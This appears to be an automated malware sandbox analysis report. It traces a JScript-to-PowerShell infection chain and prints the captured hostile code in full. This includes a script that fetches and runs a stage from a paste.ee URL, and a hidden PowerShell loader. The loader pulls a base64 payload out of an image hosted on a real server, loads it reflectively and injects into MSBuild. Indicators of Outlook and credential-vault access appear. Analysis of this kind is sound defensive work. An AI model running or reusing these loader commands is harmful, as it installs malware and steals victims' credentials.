Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\choice.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source:	Binary string: choice.pdbGCTL source: MSBuild.exe, 00000009.00000002.2190330071.0000000000E38000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: wscript.exe, 00000000.00000002.2396088723.000000001F1AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000A.00000002.2951040411.0000000002C55000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951908550.000000000500C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2492779441.000000001BA1C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: MSBuild.exe, 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000A.00000003.2186865079.000000000482E000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000A.00000003.2185050741.0000000004679000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: MSBuild.exe, MSBuild.exe, 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, choice.exe, choice.exe, 0000000A.00000003.2186865079.000000000482E000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951593841.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000A.00000002.2951593841.0000000004B7E000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000A.00000003.2185050741.0000000004679000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: choice.pdb source: MSBuild.exe, 00000009.00000002.2190330071.0000000000E38000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: .Run("cscript C:\Users\user\AppData\Local\Temp\ostaxa.js", "0", "true");IFileSystem3.GetSpecialFolder("2");IFolder.Path();IServerXMLHTTPRequest2.open("GET", "https://paste.ee/d/69SP6", "false");IServerXMLHTTPRequest2.send();IServerXMLHTTPRequest2.status();_Stream.Type("1");_Stream.Open();IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.SaveToFile("C:\Users\user\AppData\Local\Temp\ostaxa.js", "2");IWshShell3.Run("cscript C:\Users\user\AppData\Local\Temp\ostaxa.js", "0", "true");IFileSystem3.FileExists("C:\Users\user\AppData\Local\Temp\ostaxa.js");IFileSystem3.DeleteFile("C:\Users\user\AppData\Local\Temp\ostaxa.js")
Source: C:\Windows\System32\cscript.exe	Anti Malware Scan Interface: WScript.Shell");IWshShell3.Run("powershell -command $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAg", "0", "true")

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGEAZAByAGkAZwBhAGwAZQB0AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJAByAGUAbABhAHQAYQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZAByAG8AIAA9ACAAJAByAGUAbABhAHQAYQByAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AYQBkAHIAaQBnAGEAbABlAHQAZQApADsAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAGQAcgBvACkAOwAkAHgAYQBxAHUAZQBjAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGIAcgBpAG0AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYwBvAG4AdABlAG4AaABvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAeABhAHEAdQBlAGMAYQApADsAJABjAG8AbABhAHAAcwBvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAYgByAGkAbQApADsAJABjAG8AbgB0AGUAbgBoAG8AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAG8AbABhAHAAcwBvACAALQBnAHQAIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYwBvAG4AdABlAG4AaABvACAAKwA9ACAAJAB4AGEAcQB1AGUAYwBhAC4ATABlAG4AZwB0AGgAOwAkAHEAdQBpAG4AYQBsACAAPQAgACQAYwBvAGwAYQBwAHMAbwAgAC0AIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYQBsAG0AZQBpAGQAaQBuAGEAIAA9ACAAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAG4AdABlAG4AaABvACwAIAAkAHEAdQBpAG4AYQBsACkAOwAkAGIAdQBiAGUAbABhACAAPQAgAC0AagBvAGkAbgAgACgAJABhAGwAbQBlAGkAZABpAG4AYQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYQBsAG0AZQBpAGQAaQBuAGEALgBMAGUAbgBnAHQAaAApAF0AOwAkAGEAZABqAHUAdABvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgB1AGIAZQBsAGEAKQA7ACQAcABhAGQAcgBhAHMAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGEAZABqAHUAdABvAHIAKQA7ACQAbQBhAG4AZAB1AGMAYQByACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAH

Suspicious powershell command line found

Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGEAZAByAGkAZwBhAGwAZQB0AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJAByAGUAbABhAHQAYQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZAByAG8AIAA9ACAAJAByAGUAbABhAHQAYQByAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AYQBkAHIAaQBnAGEAbABlAHQAZQApADsAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAGQAcgBvACkAOwAkAHgAYQBxAHUAZQBjAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGIAcgBpAG0AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYwBvAG4AdABlAG4AaABvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAeABhAHEAdQBlAGMAYQApADsAJABjAG8AbABhAHAAcwBvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAYgByAGkAbQApADsAJABjAG8AbgB0AGUAbgBoAG8AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAG8AbABhAHAAcwBvACAALQBnAHQAIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYwBvAG4AdABlAG4AaABvACAAKwA9ACAAJAB4AGEAcQB1AGUAYwBhAC4ATABlAG4AZwB0AGgAOwAkAHEAdQBpAG4AYQBsACAAPQAgACQAYwBvAGwAYQBwAHMAbwAgAC0AIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYQBsAG0AZQBpAGQAaQBuAGEAIAA9ACAAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAG4AdABlAG4AaABvACwAIAAkAHEAdQBpAG4AYQBsACkAOwAkAGIAdQBiAGUAbABhACAAPQAgAC0AagBvAGkAbgAgACgAJABhAGwAbQBlAGkAZABpAG4AYQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYQBsAG0AZQBpAGQAaQBuAGEALgBMAGUAbgBnAHQAaAApAF0AOwAkAGEAZABqAHUAdABvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgB1AGIAZQBsAGEAKQA7ACQAcABhAGQAcgBhAHMAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEw
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() \| ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64String($bubela);$padrasto = [System.Reflection.Assembly]::Load($adjutor);$manducar = [dnlib.IO.Home].GetMethod('VAI');$manducar.Invoke($null, @('0/VAfz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'MSBuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $zooiatrologia = 'aQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAaQBmACAAKAAkAG4AdQBsAGwAIAAtAG4AZQAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlACAALQBhAG4AZAAgACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAFsAdgBvAGkAZABdACQAUABTAFYAZQByAHMAaQBvAG4AVABhAGIAbABlAC4AUABTAFYAZQByAHMAaQBvAG4AIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBPAHUAdABwAHUAdAAgACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAZQByAHMAaQBvAG4AIABOAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlACcAIAB9ADsAJABtAGEAZAByAGkAZwBhAGwAZQB0AGUAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAHkAdABmAGwAdAA2ADEAbgAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwAzADEAMwA0ADkANAA3AC8AYgBrAGwAcAB5AHMAZQB5AGUAdQB0ADQAaQBtAHAAdwA1ADAAbgAxAC4AagBwAGcAIAAnADsAJAByAGUAbABhAHQAYQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAZAByAG8AIAA9ACAAJAByAGUAbABhAHQAYQByAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAG0AYQBkAHIAaQBnAGEAbABlAHQAZQApADsAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABhAGQAcgBvACkAOwAkAHgAYQBxAHUAZQBjAGEAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+ACcAOwAkAGIAcgBpAG0AIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAYwBvAG4AdABlAG4AaABvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAeABhAHEAdQBlAGMAYQApADsAJABjAG8AbABhAHAAcwBvACAAPQAgACQAbwBmAHQAYQBsAG0AbwB4AGkAcwBlAC4ASQBuAGQAZQB4AE8AZgAoACQAYgByAGkAbQApADsAJABjAG8AbgB0AGUAbgBoAG8AIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABjAG8AbABhAHAAcwBvACAALQBnAHQAIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYwBvAG4AdABlAG4AaABvACAAKwA9ACAAJAB4AGEAcQB1AGUAYwBhAC4ATABlAG4AZwB0AGgAOwAkAHEAdQBpAG4AYQBsACAAPQAgACQAYwBvAGwAYQBwAHMAbwAgAC0AIAAkAGMAbwBuAHQAZQBuAGgAbwA7ACQAYQBsAG0AZQBpAGQAaQBuAGEAIAA9ACAAJABvAGYAdABhAGwAbQBvAHgAaQBzAGUALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAYwBvAG4AdABlAG4AaABvACwAIAAkAHEAdQBpAG4AYQBsACkAOwAkAGIAdQBiAGUAbABhACAAPQAgAC0AagBvAGkAbgAgACgAJABhAGwAbQBlAGkAZABpAG4AYQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAYQBsAG0AZQBpAGQAaQBuAGEALgBMAGUAbgBnAHQAaAApAF0AOwAkAGEAZABqAHUAdABvAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgB1AGIAZQBsAGEAKQA7ACQAcABhAGQAcgBhAHMAdABvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEw	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$madrigalete = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$relatar = New-Object System.Net.WebClient;$adro = $relatar.DownloadData($madrigalete);$oftalmoxise = [System.Text.Encoding]::UTF8.GetString($adro);$xaqueca = '<<BASE64_START>>';$brim = '<<BASE64_END>>';$contenho = $oftalmoxise.IndexOf($xaqueca);$colapso = $oftalmoxise.IndexOf($brim);$contenho -ge 0 -and $colapso -gt $contenho;$contenho += $xaqueca.Length;$quinal = $colapso - $contenho;$almeidina = $oftalmoxise.Substring($contenho, $quinal);$bubela = -join ($almeidina.ToCharArray() \| ForEach-Object { $_ })[-1..-($almeidina.Length)];$adjutor = [System.Convert]::FromBase64String($bubela);$padrasto = [System.Reflection.Assembly]::Load($adjutor);$manducar = [dnlib.IO.Home].GetMethod('VAI');$manducar.Invoke($null, @('0/VAfz5/r/ee.etsap//:sptth', 'symposiarcha', 'symposiarcha', 'symposiarcha', 'MSBuild', 'symposiarcha', 'symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','symposiarcha','1','symposiarcha'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D51EC2 push 49D01C01h; retf	0_2_02D51F28
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D61253 pushad ; iretd	0_2_02D6125B
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D4FE65 push cs; iretd	0_2_02D4FE67
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D6126E pushad ; iretd	0_2_02D6126F
Source: C:\Windows\System32\wscript.exe	Code function: 0_2_02D51A2E push edx; retf	0_2_02D51A33
